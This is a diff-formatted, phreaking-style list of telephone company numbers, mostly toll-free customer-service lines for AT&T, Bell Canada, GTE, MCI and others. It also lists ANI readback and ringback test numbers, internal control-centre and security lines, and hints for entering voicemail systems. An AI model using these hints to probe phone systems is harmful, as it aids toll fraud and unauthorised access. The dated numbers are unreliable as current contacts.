+1-800-555-1160 ANI (always busy now...)
+1-800-555-1170 ANI (always busy now...)
+1-800-569-5699 ANI (press "7*#")
+1-800-638-2392 Press "2" for ANI info.
+1-800-666-1379 Press "1,3,1" for ANI info.
+1-800-692-6447 (1-800-MY-ANI-IS) Requires a passcode.
+
+320-XXX-XXXX Ringback for Montreal, Quebec.
+507-XXX-XXXX Ringback for Alberta.
+590-XXX-XXXX Ringback for 204 NPA.
+954-780-6321 Ringback for 954 NPA.
+954-999-XXXX Ringback for 954 NPA.
+999-XXX-XXXX Ringback for 519 NPA.
+999-XXX-XXXX Ringback for North Bay, Ontario (705)
+999-XXX-XXXX Ringback for Ottawa, Ontario (613)
+999-XXX-XXXX Ringback for portions of Toronto, Ontario (416)
+
+
+-------------------------------------------------------------------------------
+ AT&T:
+-------------------------------------------------------------------------------
+
+1-800-221-0000 AT&T Interactive Advantage Customer Support Line.
+1-800-221-7680 AT&T Digital Video Center.
+1-800-222-0300 AT&T Main Number.
+1-800-222-0400 AT&T Custom Care Centre (for long distance service)
+1-800-222-1000 AT&T Customer Care Center.
+1-800-222-3000 AT&T Customer Service.
+1-800-222-5111 Lucent/Phillips Communications/AT&T Telephones.
+1-800-222-7956 AT&T Global ISDN Customer Care Center.
+1-800-223-4507 AT&T.
+1-800-225-5288 (1-800-CALL-ATT)
+1-800-225-5856 AT&T's Vendor Agent Program.
+1-800-235-4288 AT&T America.
+1-800-242-2422 Loral Skynet Satellite Services (formerly AT&T Skynet)
+1-800-242-6005 AT&T Internet Services.
+1-800-243-0506 AT&T Find America Directory Service.
+1-800-247-6636 AT&T Wireless Services In-Flight Customer Care.
+1-800-248-3632 AT&T's Data Network Business Information Solutions.
+1-800-254-8442 AT&T Repairs and Billing.
+1-800-255-1242 AT&T Customer Information Center (Canada)
+1-800-258-0123 AT&T Customer Care Center.
+1-800-268-5931 AT&T Wireless Service VMB.
+1-800-268-5939 AT&T (Operator)
+1-800-305-9494 AT&T Wireless (MetroCall) Messaging.
+1-800-322-MWBE AT&T Supplier Diversity Program Information Line.
+1-800-325-0138 AT&T Small Business Customer Care.
+1-800-331-3449 AT&T Employee Line (Lists AT&T Job openings)
+1-800-342-5288 AT&T Customer Care.
+1-800-344-9248 AT&T.
+1-800-348-8288 AT&T Shareholder Services.
+1-800-351-5855 AT&T Helpdesk.
+1-800-362-9689 AT&T Customer Network Service Center.
+1-800-387-1026 AT&T Canada Business Sales.
+1-800-387-1926 AT&T Canada Long Distance Services.
+1-800-4-ONE-RATE AT&T One Rate plan subscriptions.
+1-800-400-1447 AT&T WorldNet Service Billing.
+1-800-418-8999 AT&T Customer Care Center. (long distance service)
+1-800-423-4343 AT&T Universal Card.
+1-800-424-6030 AT&T's Matching Gift Processing Center.
+1-800-425-5288 AT&T Products and Services.
+1-800-426-8686 AT&T Printed Directories. (U.S. only)
+1-800-428-8468 AT&T Global Services Center.
+1-800-428-8669 (1-800-4ATT-NOW) AT&T Personal Network Sales Center.
+1-800-432-6600 AT&T Customer Information Center (USA)
+1-800-435-7375 AT&T EasyLink Technical Support. (U.S. only)
+1-800-438-3151 AT&T Wireless, Job Line.
+1-800-443-8288 (1-800-GIFT-ATT) AT&T Gift Certificates.
+1-800-446-7466 (1-800-4GOPHONE) AT&T Wireless GoPhone Services.
+1-800-462-4463 Rogers AT&T Wireless.
+1-800-483-9288 AT&T and Texaco's Information Line.
+1-800-522-2157 AT&T Investigations Department.
+1-800-524-2455 AT&T Customer Care.
+1-800-525-7955 AT&T Direct Call Cards.
+1-800-528-0465 AT&T CampusWide Access Solutions.
+1-800-538-5345 AT&T Slamming Resolution Center.
+1-800-552-3373 AT&T Wireless Advanced Network Services Support.
+1-800-555-8111 AT&T Consumer Lease Services.
+1-800-562-2255 AT&T 1-800 Directory Advertising.
+1-800-562-6275 AT&T Message Sender (Send an automated message to any number in
+ the world with your voice. Accepts calling cards & credit cards)
+1-800-562-7288 (1-800-JOBS-ATT) AT&T Employee Line. (U.S. only.)
+1-800-565-4708 AT&T Canada Long Distance Services.
+1-800-567-3692 AT&T Canada Long Distance Services. (French)
+1-800-567-4672 AT&T Canada Electronic Commerce Services.
+1-800-575-5511 AT&T Canada Long Distance Services.
+1-800-575-5533 AT&T Canada Residential Sales. (French)
+1-800-575-9999 AT&T Canada.
+1-800-628-8486 AT&T Language Line Services.
+1-800-634-8078 AT&T Billing Office/Accounts info.
+1-800-643-2255 AT&T Translation Service. (Foreign languages only)
+1-800-662-6214 AT&T Calling Card Protection line.
+1-800-662-7759 (1-800-66-APPLY) AT&T Universal Card.
+1-800-670-2255 AT&T Canada Long Distance Services.
+1-800-670-6000 AT&T Canada Long Distance Services.
+1-800-673-7286 AT&T 1-800-OPERATOR. Specializes in collect calls. Automated.
+1-800-678-7918 AT&T Business Customer Care Center.
+1-800-682-8706 AT&T Telecommunications Relay Customer Service. (Voice)
+1-800-682-8786 AT&T Telecommunications Relay (TTY)
+1-800-7-HOSTIN AT&T Internet Services.
+1-800-732-2255 AT&T High Seas Radio Telephone and Mobile Satellite Services.
+1-800-746-7846 AT&T Internet Services.
+1-800-752-0093 AT&T Language Line Services.
+1-800-752-6096 AT&T Language Line Customer Service Center.
+1-800-790-2255 AT&T Canada Long Distance Services.
+1-800-790-6000 AT&T Canada Long Distance Services.
+1-800-807-2466 AT&T Learning Points Program.
+1-800-820-6464 AT&T Digital Long Distance/ISDN Services.
+1-800-822-9009 AT&T Corporate Security, internal investigations.
+1-800-830-2255 AT&T Canada Long Distance Services.
+1-800-831-5259 AT&T WorldNet Business/Data Services.
+1-800-833-3232 AT&T ACS Long Distance Bill Inquiries.
+1-800-850-TIES AT&T. Call to setup Easy Reach 800s.
+1-800-855-1155 AT&T LDRS Directory Assistance. (TTY Carrier for the deaf)
+1-800-855-2880 AT&T Long Distance Relay Service (TTY)
+1-800-855-2881 AT&T Long Distance Relay Service (automated/voice)
+1-800-855-2882 AT&T Long Distance Relay Service (TTY)
+1-800-855-2883 AT&T Long Distance Relay Service (TTY)
+1-800-858-9857 AT&T True Rewards (option 1)
+1-800-872-3883 AT&T.
+1-800-878-3123 (1-800-TRUE-123) AT&T True Messages Service.
+1-800-878-3500 AT&T True Connections Personal 500 Number Service.
+1-800-889-4408 AT&T NCC (Network Control Center) and TCC.
+1-800-892-3850 AT&T Wireless Long-Distance Service.
+1-800-958-2255 AT&T Canada Long Distance Services.
+1-800-958-6000 AT&T Canada Long Distance Services.
+1-800-959-1090 AT&T New York Local Service.
+1-800-967-5363 AT&T WorldNet Service.
+1-800-970-2255 AT&T Canada Long Distance Services.
+1-800-998-3947 AT&T Authorized Stocking Distributor/Zack Electronics.
+1-800-ATT-4ALL AT&T New York Local Service.
+1-800-GIFT-ATT AT&T Gift Certificates (extension 410) (Mon-Fri, 9-5)
+1-800-IMAGINE Rogers AT&T Wireless.
+1-800-WORLDNET (1-800-96753638) AT&T Canada Internet Service.
+1-877-ATT-2345 AT&T Canada Long Distance Services. (Main Switchboard)
+1-888-8-METNET MetroNet AT&T Canada.
+1-888-888-5413 AT&T WorldNet Service.
+1-888-928-8932 (1-888-9ATT-WEB) AT&T Online Customer Service.
+1-888-933-1212 AT&T Cellular phone accessories. (U.S. only)
+1-888-ATT-1233 AT&T Canada Internet Service.
+1-888-ATT-ALL1 AT&T Customer Care Center.
+1-888-ATT-INTL AT&T International Helpline in Basking Ridge, NJ.
+1-888-ATT-TRW3 AT&T True Rewards Account questions.
+
+
+-------------------------------------------------------------------------------
+ Ameritech:
+-------------------------------------------------------------------------------
+
+(314) 444-4444 Ameritech (St. Louis Office)
+1-800-207-2228 Ameritech.
+1-800-221-0994 Ameritech Cellular and Paging.
+1-800-244-4444 Ameritech Customer Billing Office (works outside of Illinois)
+1-800-249-4449 Ameritech Yellow Pages Advertising Sales.
+1-800-257-0902 Ameritech Main Office.
+1-800-323-7311 Ameritech Capital Services.
+1-800-327-3470 Ameritech Advertising Services.
+1-800-331-5454 Ameritech.
+1-800-346-4377 Ameritech Directory Order Center.
+1-800-433-8505 Ameritech Special Needs Center.
+1-800-446-PAGE Ameritech Cellular and Paging.
+1-800-468-3949 Ameritech Automated Services.
+1-800-475-7449 Ameritech Payphone Repair.
+1-800-480-8088 Ameritech Business Solutions Center.
+1-800-493-7243 Ameritech Quick Reach Pager Services.
+1-800-523-7076 Ameritech Security Systems.
+1-800-553-9591 Ameritech Pages Plus Advertising.
+1-800-621-4533 Ameritech Bilingual Customer Service.
+1-800-621-8650 Ameritech's Lifeline program.
+1-800-647-9000 Ameritech PagesPlus Advertising.
+1-800-649-3777 Ameritech. (TTY/TDD)
+1-800-660-3000 Ameritech Small Business Services.
+1-800-662-4531 Ameritech Cellular and Paging.
+1-800-707-9999 Ameritech.
+1-800-769-4099 Ameritech Annoyance Call Bureau.
+1-800-809-0878 Ameritech Payphones.
+1-800-821-0173 Ameritech Cellular and Paging Services.
+1-800-848-CAST Ameritech (Americast) Cable Services.
+1-800-873-5501 Ameritech's automated billing (RBOC)
+1-800-967-5543 Ameritech.
+1-800-AMERITECH Ameritech.
+1-800-MOBILE-1 Ameritech Cellular and Paging.
+1-800-NET-8775 Ameritech Interactive Media Services. (Internet)
+1-800-WORKLIFE Ameritech.
+1-877-432-3279 Ameritech.
+1-888-AMERITECH Ameritech.
+
+
+-------------------------------------------------------------------------------
+ BCTel/TELUS:
+-------------------------------------------------------------------------------
+
+1-800-447-2688 BCTel Mobility's EasyTouch Service.
+1-800-472-9773 TELUS (Payphone Dept.)
+1-800-563-0624 TELUS Fax.
+1-800-575-2355 BCTELUS Help Center.
+1-800-661-2355 BCTel Mobility Customer Service.
+1-800-661-4260 TELUS Advertising.
+1-800-663-1011 BCTel's Billing Inquiry System.
+1-800-663-1440 BCTel Call Center/Accounts.
+1-800-663-2234 BCTel Network Sales.
+1-800-663-2455 BCTel Mobility Customer Service Department.
+1-800-973-2223 TELUS Directory Delivery Service. (order phone books!)
+1-877-310-6110 TELUS Today Customer Service.
+1-877-344-3330 BCTel Mobility.
+1-888-685-2355 BCTel Multiple Option Messaging.
+1-888-811-2323 BCTel Customer Service.
+1-888-867-7587 (1-888-TMS-PLUS) TELUS.
+1-888-905-2284 BCTel Interactive Business Solutions.
+
+
+-------------------------------------------------------------------------------
+ Bell Atlantic:
+-------------------------------------------------------------------------------
+
+1-800-221-4393 Bell Atlantic VMS.
+1-800-225-5400 Bell Atlantic.
+1-800-244-2355 Bell Atlantic's Interactive Demo Center.
+1-800-255-2255 Bell Atlantic 1-800-255-CALL.
+1-800-257-5554 Bell Atlantic Services/Computer Repair.
+1-800-275-2355 (1-800-275-BELL) Bell Atlantic Repair.
+1-800-297-2355 Bell Atlantic's Major Customer Center.
+1-800-327-8412 Bell Atlantic Professional Services.
+1-800-365-5810 Bell Atlantic Customer Information Line. (good telco info)
+1-800-416-9639 Bell Atlantic Help Desk.
+1-800-526-4611 Bell Atlantic Telecom Vendor's Service Leasing Dept.
+1-800-538-4747 Bell Atlantic Mobile.
+1-800-550-9840 Bell Atlantic Long Distance.
+1-800-556-2355 Bell Atlantic Communications.
+1-800-631-2355 Bell Atlantic Shareowner Services.
+1-800-636-2355 Bell Atlantic Communications.
+1-800-647-NEWS Bell Atlantic Employee News line. (Daily recorded messages)
+1-800-652-2355 Bell Atlantic Yellow Pages.
+1-800-660-2355 Bell Atlantic Mobile's Loyalty Management Services Department.
+1-800-727-2231 Bell Atlantic.
+1-800-830-2355 Bell Atlantic Mobile.
+1-800-843-2255 Bell Atlantic Small Business Direct Response Center.
+1-800-922-0204 Bell Atlantic Mobile.
+1-800-934-2255 Bell Atlantic.
+1-877-WITH-YOU Bell Atlantic Mobile Tele-Sales Department.
+1-888-206-2355 Bell Atlantic.
+1-888-208-2355 Bell Atlantic.
+1-888-219-2355 Bell Atlantic.
+1-888-221-2355 Bell Atlantic.
+1-888-223-2355 Bell Atlantic.
+1-888-264-2355 (1-888-ANI-BELL) Bell Atlantic Caller ID.
+1-888-550-7095 Bell Atlantic Communications.
+1-888-677-2355 Bell Atlantic View at One Support.
+1-888-730-2355 Bell Atlantic.
+1-888-741-2355 Bell Atlantic.
+1-888-743-2355 Bell Atlantic.
+1-888-745-2355 Bell Atlantic.
+1-888-749-2355 Bell Atlantic.
+1-888-751-2355 Bell Atlantic.
+1-888-781-2355 Bell Atlantic.
+1-888-782-2355 Bell Atlantic.
+1-888-831-4947 Bell Atlantic Long Distance.
+1-888-969-2355 Bell Atlantic.
+1-888-983-2355 Bell Atlantic.
+1-888-984-2355 Bell Atlantic.
+1-888-985-2355 Bell Atlantic.
+1-888-986-2355 Bell Atlantic.
+1-888-988-2355 Bell Atlantic.
+1-888-989-2355 Bell Atlantic.
+1-888-990-2355 Bell Atlantic.
+1-888-992-2355 Bell Atlantic.
+1-888-993-2355 Bell Atlantic.
+1-888-996-2355 Bell Atlantic.
+1-888-997-2355 Bell Atlantic.
+
+
+-------------------------------------------------------------------------------
+ BCE/Bell Canada/ActiMedia/Mobility/Nexxia/Sympatico/etc:
+-------------------------------------------------------------------------------
+
+1-416-555-1313 Bell's local CN/A office for Toronto.
+310-2355 Telephone Directory Ordering (free local directories)
+310-BELL Bell Canada Customer Services. (toll free)
+310-SURF Bell Sympatico.
+811 Northwestel Call Centre. (BC, NWT, Yukon)
+
+1-800-225-5180 Bell Canada Client Service Center.
+1-800-238-8636 Bell Labs.
+1-800-253-5011 Bell Mobility Paging.
+1-800-256-2355 Bell Nexxia. (after hours OcTel VMB)
+1-800-263-3899 Bell Mobility Customer Service.
+1-800-263-7412 Bell Canada Millennium Help Line.
+1-800-263-8394 Bell Mobility.
+1-800-265-0123 Bell Mobility Ardis Division Sales.
+1-800-265-3076 Tele-Stat Satellite Network Operations Control.
+1-800-265-5925 Bell Data & I.X. Voice Repair.
+1-800-267-0123 Bell Mobility's Automated Express Lane System. (reports EST)
+1-800-267-0424 Bell Nexxia Customer Care.
+1-800-267-1870 Tele-Stat Canada.
+1-800-267-2355 Bell Mobility Quebec.
+1-800-267-5353 Tele-Direct Atlantic.
+1-800-267-6511 IslandTel Special Needs Centre (Tdd)
+1-800-267-6574 Bell Canada Datapac Service Center.
+1-800-267-7002 Tele-Direct.
+1-800-267-7640 Bell Canada's Ident-a-call demonstration line. ("*" to enter VMS)
+1-800-267-9556 Bell Canada.
+1-800-268-1720 Bell Canada Multimedia.
+1-800-268-2323 Bell ActiMedia.
+1-800-268-2355 Bell Mobility Ottawa Office.
+1-800-268-3550 Bell ActiMedia Internet Services.
+1-800-268-5637 Bell ActiMedia (call to purchase CAN, USA and INTL. directories)
+1-800-268-5933 Bell Canada Quickchange Department.
+1-800-268-8531 Bell Data.
+1-800-268-9100 Bell Canada 1-900, 976, Information Line (they send faxes)
+1-800-268-9107 Bell Canada Customer Care.
+1-800-268-9160 Bell Canada Information Service Line.
+1-800-270-2355 Business Consulting Group of Bell Canada.
+1-800-323-6628 Bell Laboratories.
+1-800-331-9948 Bell Canada Relay Service Customer Comment Line.
+1-800-339-6359 BCE Investor Relations. (Montreal)
+1-800-360-2373 Northern Telephone.
+1-800-360-8555 Northern Telephone Limited.
+1-800-361-0804 Tele-Stat.
+1-800-361-1423 Bell Canada Advantage Conferencing.
+1-800-361-3489 Bell Canada Customer Billing Center.
+1-800-361-6010 Bell ActiMedia Yellow Pages.
+1-800-361-7874 Bell Canada Millennium (Unknown)
+1-800-361-8717 Bell Canada Professional Services. (Montreal)
+1-800-363-2355 Bell Canada's Total Solution Center for Business.
+1-800-363-3781 Bell Mobility Paging.
+1-800-363-5001 Bell ActiMedia Yellow Pages.
+1-800-363-6522 Stentor's Calling Card Centre.
+1-800-363-9612 Bell Technical Services.
+1-800-387-4411 Bell Canada's Business Direct Marketing Centre.
+1-800-387-4441 Bell Advantage Call Centre Solutions.
+1-800-387-5072 Bell Mobility's Activation Department.
+1-800-387-5185 Bell Phonecentre Information Line.
+1-800-387-9571 Bell Mobility Radio.
+1-800-387-9999 Bell Gardium Security Representative.
+1-800-439-2355 Direct Bell. (Wireless Communications)
+1-800-461-1156 Bell ActiMedia.
+1-800-461-1747 Bell Canada Millennium (Voice Test)
+1-800-461-1760 Bell Canada Millennium (Unknown)
+1-800-461-1879 Bell Canada Millennium (Data Test)
+1-800-461-2921 Bell Canada Smart Touch Information Line.
+1-800-461-7243 Bell ActiMedia Sales Office. (formerly Yellow Pages Tele-Direct)
+1-800-463-4778 Bell Canada Professional Services. (Quebec City)
+1-800-463-4833 Bell ActiMedia Yellow Pages.
+1-800-463-5376 Bell CSR-Quebec (Quebec City)
+1-800-465-2355 Bell Mobility.
+1-800-465-6960 Bell ActiMedia.
+1-800-470-2355 Bell Mobility.
+1-800-491-2355 Pacific Link Communications Mississauga (Bell Mobility Center)
+1-800-521-CORE Bellcore.
+1-800-555-1111 Bell LD. 3 way calling, calling card and many other features.
+1-800-555-4999 Bell Canada Residential and Business Service.
+1-800-561-0934 BCE Inquiry Line.
+1-800-561-2355 Bell Mobility. (French)
+1-800-561-4459 NBTEL's NBNet Support line.
+1-800-561-6283 NBTEL Residencial Customer Service.
+1-800-561-8868 Stentor's Country Direct Information Line.
+1-800-561-8888 Stentor's Calling Card Centre.
+1-800-563-2900 NewTel Communications.
+1-800-563-3794 Bell Mobility (Ottawa Office)
+1-800-563-7171 NewTel Communications.
+1-800-563-7988 Newfoundland Telephones Mobile Service Department. (NewTel)
+1-800-563-8700 NewTel Communications.
+1-800-565-1290 Tele-Direct Atlantic.
+1-800-565-1570 IslandTel Customer Service.
+1-800-565-4287 IslandTel Business Inquiries.
+1-800-565-4737 IslandTel Business Office.
+1-800-565-6283 NBTEL Customer Service.
+1-800-567-2448 Bell Canada Millennium (Test Line)
+1-800-567-9633 Bell Canada (I think it's the main switchboard)
+1-800-611-6500 Bell Mobility Cellular.
+1-800-665-1800 NBTel.
+1-800-665-6000 NewTel Express.
+1-800-667-0123 Bell Mobility's Automated Express Lane System.
+1-800-667-6030 Bell Canada (French)
+1-800-667-6283 NBTEL.
+1-800-668-0911 BCE Mobile Communications Inc.
+1-800-668-2355 Bell Canada.
+1-800-668-4862 Bell Canada Millennium (Coin)
+1-800-668-6851 Bell Canada Millennium (Alarm)
+1-800-668-6878 Bell Direct. (U.S. and Canada)
+1-800-668-9090 Bell Information Systems Repair Service.
+1-800-668-9608 Bell Canada Switch Control Centre.
+1-800-668-9716 Bell Canada Employment Centre. (Press "*" to access VMS)
+1-800-668-9877 Tele-Stat.
+1-800-722-2300 Nynex President Switchboard.
+1-800-724-4443 Bell Sympatico.
+1-800-735-3030 Cincinnati Bell Long Distance.
+1-800-749-0764 Bell Canada Human Resources.
+1-800-749-2538 Bell Canada. (Toronto Office)
+1-800-749-3081 Bell Canada Office.
+1-800-749-3085 Bell Canada Ontario Control Centre.
+1-800-749-3279 Bell Canada Business Sales.
+1-800-749-3743 Bell Canada. (Toronto Office)
+1-800-749-3745 Bell Canada Ontario Control Centre.
+1-800-749-4198 Bell Canada.
+1-800-749-4208 Bell Canada Ontario Control Centre.
+1-800-749-9362 Bell Canada Ontario Control Centre. (Regional Manager)
+1-800-749-9770 Bell Canada. (Toronto Office)
+1-800-772-2141 Bell Canada Millennium (Setshop)
+1-800-773-2121 Sympatico Customer Service. (Bell Canada's Internet service)
+1-800-789-9073 Bell Simple Connections.
+1-800-803-0077 Bell QuickChange Cards Customer Service.
+1-800-847-7303 Bell Minor Hockey Hotline.
+1-800-848-8353 Bell ActiMedia (Tele-Direct) Customer Service.
+1-800-848-8353 Bell ActiMedia.
+1-800-848-8353 Bell ActiMedia.
+1-800-855-0511 Bell Canada Relay Service (BCRS) Operator.
+1-800-862-6330 MTS (Manitoba Telephone System)
+1-800-889-4672 Bell Canada Business.
+1-800-889-4686 Bell Canada's Business Direct Marketing Centre.
+1-800-931-3282 IslandTel Data Communications.
+1-800-936-6245 IslandTel. (IslandTel Express="1")
+1-800-957-9999 Bell Canada Long Distance.
+1-800-984-2646 IslandTel.
+1-800-995-8887 Bell ActiMedia Sales Department.
+1-800-REWARDS Bell Canada Rewards.
+1-877-202-3206 Bell Canada. (Chinese)
+1-877-268-4273 Bell Gardium Sales Department.
+1-877-318-0859 Bell Sympatico.
+1-877-327-9630 Bell Canada's Interactive Sympatico Ordering Service.
+1-877-486-3472 Bell Canada's Interactive Sympatico Ordering Service.
+1-877-499-1260 Bell Canada's Smart Touch Promotion Line.
+1-877-499-1263 Bell Canada's Smart Touch Line.
+1-877-4PERCALL Bell Canada's (Dis)Advantage Per Call.
+1-877-506-BELL Bell ExpressVu.
+1-877-518-BELL Bell ExpressVu.
+1-877-520-BELL Bell ExpressVu.
+1-877-521-BELL Bell ExpressVu.
+1-877-652-4119 Bell's SmartTouch Promotion.
+1-877-70-SPEED Bell Sympatico.
+1-877-723-4400 Bell Mobility Totalcom.
+1-877-885-2424 Bell FirstRate 24 Hour Enrollment Service.
+1-877-90-SPEED Bell Sympatico.
+1-877-91-SPEED Bell Sympatico.
+1-877-92-SPEED Bell Sympatico.
+1-877-ALL-WKND Bell Mobility.
+1-877-BELLCORE Telcordia Technologies. (formerly known as Bellcore)
+1-877-BUNDLE-1 Bell Canada's Direct Marketing Centre.
+1-877-FIRSTRATE Bell FirstRate Interactive Information and Enrollment Service.
+1-888-217-6533 Bell Mobility Pager.
+1-888-217-6535 Bell Mobility Pager.
+1-888-217-6538 Bell Mobility Pager.
+1-888-217-6539 Bell Mobility Pager.
+1-888-217-6540 Bell Mobility Service.
+1-888-24-FIRST Bell FirstRate Interactive Information and Enrollment Service.
+1-888-242-2355 Bell (Spanish)
+1-888-291-6799 Bell Mobility Order Desk.
+1-888-299-0977 Bell Canada's Interactive Sympatico Ordering Service.
+1-888-308-5640 Bell Mobility Paging.
+1-888-333-4454 Bell Equipement D Imprimerie.
+1-888-368-9110 Northwestel Account Manager.
+1-888-377-2355 Bell Firstrate Interactive Information and Enrollment Service.
+1-888-378-2355 Bell Canada's Ontario Direct Marketing Center.
+1-888-386-5555 Stentor Communications Production Fund.
+1-888-388-2355 Bell Direct in Canada. (the same as 310-BELL)
+1-888-4-662453 (1-888-4-MOBILE) Bell Mobility Cellular.
+1-888-423-2333 Northwestel Business Support Centre.
+1-888-442-0222 Bell Mobility Accounts Receivable.
+1-888-457-7308 Bell Mobility Order Desk.
+1-888-457-7309 Bell Mobility.
+1-888-457-7310 Bell Mobility.
+1-888-490-3001 Tele-Direct Atlantic.
+1-888-506-2222 Bell Canada. (Italian)
+1-888-542-3784 Bell Mobility Out of the Box Program.
+1-888-597-9999 Schwab Canada QUALCOMM Digital PCS phone from Bell Mobility.
+1-888-739-2737 (1-888-REWARDS) Bell Canada.
+1-888-788-2355 Bell Canada Business Consulting Group.
+1-888-794-0777 Stentor Canadian Network Management.
+1-888-865-2239 Bell Mobility Pager.
+1-888-904-2355 Bell Firstrate Interactive Information and Enrollment Service.
+1-888-932-6666 BCE Corp. Communications.
+1-888-DIRECPC Tele-Stat Canada's Direct PC Customer Care Centre.
+
+
+-------------------------------------------------------------------------------
+ BellSouth:
+-------------------------------------------------------------------------------
+
+1-800-285-2355 BellSouth.
+1-800-419-2355 BellSouth. (Spanish)
+1-800-436-8638 BellSouth Internet Home. (U.S. only)
+1-800-451-6549 BellSouth Customer Service.
+1-800-541-1229 BellSouth Financial Services.
+1-800-733-2355 BellSouth Phones.
+1-800-753-0223 BellSouth Order Line.
+1-800-767-2355 BellSouth Automated Billing Services.
+1-800-775-2355 BellSouth Phones.
+1-800-831-4323 BellSouth.
+1-800-832-6338 BellSouth Memory Call Service.
+1-800-842-1558 BellSouth Benefits Service Center.
+1-800-858-9413 BellSouth ISDN order line.
+1-800-925-0010 BellSouth Communications Systems.
+1-800-925-0049 BellSouth Equipment/Customer Changes. (U.S. only)
+1-800-925-2525 BellSouth Business.
+1-800-995-9999 BellSouth Phones.
+1-800-BELL-SOUTH (Collect, Calling Card and Credit Card calls)
+1-877-TELEFONE BellSouth.
+1-888-201-2355 BellSouth Benefit Enrollment System.
+1-888-203-2355 BellSouth.
+1-888-327-2355 BellSouth Mobility Area Code Reprogramming Department.
+1-888-383-2355 BellSouth Cellular Fraud Prevention Center.
+1-888-462-8033 BellSouth COCOT Repair.
+1-888-543-2355 BellSouth Internet Business.
+1-888-837-1668 BellSouth Telecom Rental Services.
+
+
+-------------------------------------------------------------------------------
+ Cellular One:
+-------------------------------------------------------------------------------
+
+1-800-369-2355 Cellular One.
+1-800-381-2355 Cellular One.
+1-800-487-2355 Cellular One Customer Service.
+1-800-514-2355 Cellular One's Welcome line.
+1-800-567-2355 Cellular One.
+1-800-604-2355 Cellular One.
+1-800-670-2355 Communication One (authorized agent of Cellular One)
+1-800-CELL-ONE Cellular One. (U.S. only)
+1-877-CELLFONE Cellular One's Voicemail Help line.
+1-888-345-2355 Cellular One Dispatch.
+1-888-522-2355 Cellular One.
+1-888-562-2355 Cellular One's Job Hotline.
+1-888-681-2355 Cellular One.
+1-888-CELLPHONE Cellular One.
+1-888-CELLULAR Cellular One Sales Office.
+
+
+-------------------------------------------------------------------------------
+ GTE:
+-------------------------------------------------------------------------------
+
+1-800-225-5160 GTE Corporation Teleservicing System.
+1-800-225-5483 (1-800-CALL-GTE) GTE Long Distance.
+1-800-272-3466 GTE Telecom.
+1-800-346-5800 GTE Business Sales Center.
+1-800-347-5665 GTE Express. (Cellular)
+1-800-366-4834 (1-800-FON-GTE4) GTE Personnel-only question line. (U.S. only)
+1-800-366-4835 (1-800-FON-GTE5) GTE Personnel-only question line.
+1-800-366-5665 GTE Express. (Cellular)
+1-800-428-8722 GTE Superpages Internet Services.
+1-800-445-5288 GTE Business Sales Center.
+1-800-448-3795 GTE.
+1-800-472-4565 GTE Internetworking. (U.S. only)
+1-800-483-1000 (1-800-GTE-1000) GTE Repair Center.
+1-800-483-2273 (1-800-GTE-CARD) GTE Calling Card Services.
+1-800-483-3000 GTE Billing Center.
+1-800-483-3600 GTE North Customer Billing Center.
+1-800-483-4000 GTE California Customer Service Ordering Center.
+1-800-483-4839 GTE Business Response Center.
+1-800-483-5000 GTE California Business Sales Center.
+1-800-483-5288 GTE Headquarters in Irving, TX.
+1-800-483-5400 GTE Business Sales Center.
+1-800-483-5559 GTE.
+1-800-483-5781 GTE Wireless.
+1-800-483-7243 (1-800-GTE-PAGE) GTE Paging.
+1-800-483-7479 GTE Hawaiian Tel's Business Sales Center.
+1-800-483-8494 GTE Long Distance.
+1-800-527-2558 GTE Business Response Center.
+1-800-643-0997 GTE Bank Card Center.
+1-800-670-9320 GTE Paging.
+1-800-727-2355 GTE Wireless.
+1-800-787-9689 GTE Customer Service.
+1-800-877-5665 GTE Express. (Cellular)
+1-800-888-8448 GTE Directory Order Center.
+1-800-927-3000 GTE Internet.
+1-800-AIRFONE GTE Airfone.
+1-888-483-0022 GTE Government Systems.
+1-888-483-4555 GTE Internet.
+1-888-681-3279 GTE Airfone. (call aircraft while they're in-flight)
+1-888-AIRFONE GTE Airfone.
+
+
+-------------------------------------------------------------------------------
+ MCI WorldCom:
+-------------------------------------------------------------------------------
+
+1-800-225-5888 MCI WorldCom Operator Services.
+1-800-254-8991 MCI WorldCom Customer Service. (U.S. only)
+1-800-264-1000 MCI WorldCom Customer Service.
+1-800-265-5328 MCI's 1-800-COLLECT. Automated collect calls.
+1-800-267-7320 Network MCI.
+1-800-270-6245 WorldCom VMS. ("Please enter the # sign followed by your BN")
+1-800-275-0200 MCI WorldCom Residential/Business Customer Service.
+1-800-275-1234 MCI WorldCom. Accepts calling cards for phone calls.
+1-800-294-3496 MCI WorldCom.
+1-800-333-1000 MCI WorldCom Commercial Customer Service.
+1-800-333-2000 MCI WorldCom.
+1-800-333-5000 MCI WorldCom Residential Service.
+1-800-336-0149 MCI WorldCom Global Product Support.
+1-800-374-6400 MCI WorldCom Local Customer Service.
+1-800-401-9997 MCI WorldCom.
+1-800-432-4557 MCI WorldCom Account Services. (U.S. only)
+1-800-444-1111 MCI WorldCom's Global Technical Service Center.
+1-800-444-3333 MCI Customer Service. (U.S. only)
+1-800-444-4444 MCI WorldCom.
+1-800-444-6242 MCI.
+1-800-444-6245 MCI Mail Messaging and Technical Support.
+1-800-444-7000 MCI WorldCom St. Louis Business Market Sales Office.
+1-800-451-7220 MCI WorldCom.
+1-800-455-1605 Network MCI System.
+1-800-455-2957 Network MCI System.
+1-800-455-4215 Network MCI System.
+1-800-455-5469 Network MCI System.
+1-800-455-6084 Network MCI Interactive Paging Service.
+1-800-455-6504 Network MCI System.
+1-800-455-6513 Network MCI System.
+1-800-455-6780 Network MCI System.
+1-800-455-6834 Network MCI System.
+1-800-455-7806 Network MCI System.
+1-800-455-7854 Network MCI System.
+1-800-455-7920 Network MCI System.
+1-800-456-0253 MCI WorldCom.
+1-800-475-0138 MCI WorldCom.
+1-800-475-5628 MCI WorldCom Paging System.
+1-800-475-9321 MCI WorldCom.
+1-800-483-4929 Network MCI System.
+1-800-483-8784 Network MCI System.
+1-800-539-2000 MCI WorldCom Business Services.
+1-800-554-5778 MCI WorldCom Prepaid Cellular.
+1-800-555-4668 Network MCI System.
+1-800-627-2355 MCI WorldCom Administrative Offices.
+1-800-637-2255 MCI WorldCom.
+1-800-644-NEWS MCI WorldCom Public Relations.
+1-800-645-2355 MCI WorldCom.
+1-800-666-1904 MCI WorldCom. (U.S. only)
+1-800-666-2612 MCI WorldCom Small Business Department.
+1-800-666-2613 MCI WorldCom.
+1-800-674-2355 MCI WorldCom (calling card calls)
+1-800-688-4889 MCI National Relay Service in the U.S. (TTY)
+1-800-701-9358 MCI WorldCom. (U.S. only)
+1-800-701-9360 MCI WorldCom. (U.S. only)
+1-800-724-3624 (1-800-PAGE-MCI) MCI WorldCom Paging System.
